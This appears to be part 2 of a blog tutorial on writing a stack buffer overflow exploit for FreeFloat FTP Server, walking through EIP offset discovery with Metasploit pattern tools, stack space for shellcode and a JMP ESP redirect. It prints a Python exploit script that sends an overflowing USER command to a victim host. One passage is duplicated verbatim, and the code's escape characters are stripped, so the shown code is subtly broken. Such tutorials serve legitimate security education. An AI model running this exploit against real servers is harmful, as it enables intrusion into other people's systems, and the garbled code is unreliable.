Guide to Basic Exploit Writing (Part 2)

Guide to Basic Exploit Writing
Part 2 - Controlling the EIP

==================================================
5. Finding the Offset

In Part 1 of the guide, we fuzzed the FreeFloat FTP Server and found that if we send a string of 1000 'A's as the USER, we can overwrite the EIP with 41414141. Now the question is - how do we find out which particular 4 bytes out of the 1000 bytes had overwritten the EIP?

In this case, one convenient way of working this out is to make use of two scripts that come together with the Metasploit Framework: pattern_create.rb and pattern_offset.rb. First, create a string of alphanumeric characters using pattern_create.rb. Note that the location of the script in your system may differ.



Code

# /opt/metasploit/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B




Now create the following exploit.py file and use the 1000-byte string generated above instead of the 1000 'A's.

Code

#!/usr/bin/python2.7

import sys
import socket

evil = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad
9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"


buffer = "USER "
buffer += evil
buffer += "rn"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect(("192.168.1.4", 21))     #replace 192.168.1.4 with the ip of your Victim computer
sock.recv(1024)
sock.send(buffer)
sock.close()




Now, make the file executable and run it i.e. # ./exploit.py

This should 'hang' the FTP server running in ollydbg. Take a look at the EIP register. On my system, instead of 41414141, it now shows 37684136. Plug this string into pattern_offset.rb, as shown below. Remember to replace the 37684136 with the string you see in the EIP register on your own system.

Code

# /opt/metasploit/tools/pattern_offset.rb 37684136
230



Now replace the "evil" line in exploit.py with the following:

Code

evil = "x41" * 230     # generate a string of 230 'A's
evil += "x42" * 4      # if we did this correctly, the EIP should be overwritten by 'BBBB'
evil += "x43" * (1000 - len(evil))     # fill the remaining bytes with 'C's





Now, make the file executable and run it i.e. # ./exploit.py

This should 'hang' the FTP server running in ollydbg. Take a look at the EIP register. On my system, instead of 41414141, it now shows 37684136. Plug this string into pattern_offset.rb, as shown below. Remember to replace the 37684136 with the string you see in the EIP register on your own system.

Code

# /opt/metasploit/tools/pattern_offset.rb 37684136
230



Now replace the "evil" line in exploit.py with the following:

Code

evil = "x41" * 230     # generate a string of 230 'A's
evil += "x42" * 4      # if we did this correctly, the EIP should be overwritten by 'BBBB'
evil += "x43" * (1000 - len(evil))     # fill the remaining bytes with 'C's




Run exploit.py again. You should see that EIP has now been overwritten with 42424242,
or 'BBBB'.

==================================================
6. Finding a Home for our Shellcode

Before we work further on the EIP, let's take a look at the bottom right window in ollydbg - the stack. If you scroll up the window slightly, you will see a long string of 41414141s. That's our 230 'A's. Immediately after that, you will see 42424242, followed by a long string of 43434343s.

Looking back at the register window in ollydbg, observe that the ESP register seems to be pointing to a long string of 'C's, or 43434343.... Choose the ESP register value and right-click on it, then choose the "Follow in Stack" option. In the stack window of ollydbg, you will be directed to the 3rd row of 43434343. On my system, the address of this row is 0x013CFC18. Now scroll down the stack window to the last row of 43434343. On my system, the address of this last row is 0x013CFF08. This means we have about 0x2F0, or 752 bytes to work with.

For a straightforward exploit (as is the case here), this is more than sufficient space for a tcp bind shell or reverse shell. Seems like a good place to house our shellcode in!

==================================================
7. The Plan of Attack

Let's summarise the key things we found out thus far:
1. We can insert any value, or memory address, we want into EIP. The program will then execute any valid instruction found at the memory address.
2. The ESP points to the 3rd row of 43434343. We can control the values in this row, as well as the 752 bytes there after. Instead of 'C's, we can place our shellcode here.

Based on the above, we can work out the following plan of attack:
1. We need to first find a "JMP ESP" instruction and get its address.
2. We will place this address into EIP, so that the JMP ESP instruction will be executed.
3. We will place our shellcode just after the 3rd row of 43434343, for e.g. in the 4th row.
4. After filling in our shellcode, we will replace all the remaining 'A's and 'C's with x90 (NOPs).
5. When the JMP ESP is executed in point #2 above, the program will first execute the 3rd row, now filled with NOPs, followed by the 4th row and so on, which is now filled with our shellcode. (Sometimes, you may need to adjust the number of NOPs you put in.)

==================================================
8. The JMP ESP Instruction

In ollydbg, press Alt-E to bring up a window showing the list of executable modules of the FTP program. We can try to find a JMP ESP instruction from one of these modules, while bearing the following in mind:
1. We need to avoid using a JMP ESP instruction with an address which contains a x00, x0a or x0d. These are the null byte, line feed and carriage return respectively. They tend to break exploits.
2. We should try to use modules that come together with the program, instead of the modules supplied by the operating system. The addresses within the former are less likely to change with different Service Packs, languages, etc and should be more portable.
3. Windows Vista uses ASLR to randomise the memory addresses of most modules, especially the ones supplied by the operating system. I think Win7 uses ASLR for all modules. The use of ASLR reduces the portability of the exploit, and in most cases, prevents the exploit from working again after the Victim computer reboots.

Now take a look at the list of executable modules. Unfortunately, all of them are modules supplied by the OS. Looks like we have to pick an OS supplied module. If you are following this tutorial using Vista or a newer Windows OS, this means that it will be difficult for you to pwn Vista machines you don't own... well I meant it when I said this was for educational purposes only ;) There are ways to bypass ASLR under certain circumstances, but that's another story.

Anyway double-click on USER32.dll. Then, in the main window (top-left) of ollydbg, right-click and select the option 'Search for -> Command'. Do a search for 'JMP ESP'. You can try using other modules if you like. On my system, I found a JMP ESP instruction at 0x76b8fae1. Don't reboot your machine if you are using >= Vista, or you will have to repeat this step. Remember not to use addresses with x00, x0a and x0d in them.

Next, replace the "evil" lines in exploit.py, with the following:


Code

evil = "x90" * 230     # Just a bunch of NOPs, not really important here
evil += "xe1xfaxb8x76"      # address of the JMP ESP instruction, little-endian order
evil += "xcc" * (1000 - len(evil))     # fill up the remaining bytes with breakpoints (xcc)




Now run exploit.py again. The FTP program running under ollydbg should now pause at the 3rd row of 'xcc'. You can verify this by looking at the stack window and the main window of ollydbg.

All that is left now is to replace the 'xcc' with our shellcode. Stay tuned for the 3rd and last part!

No comments:

Post a Comment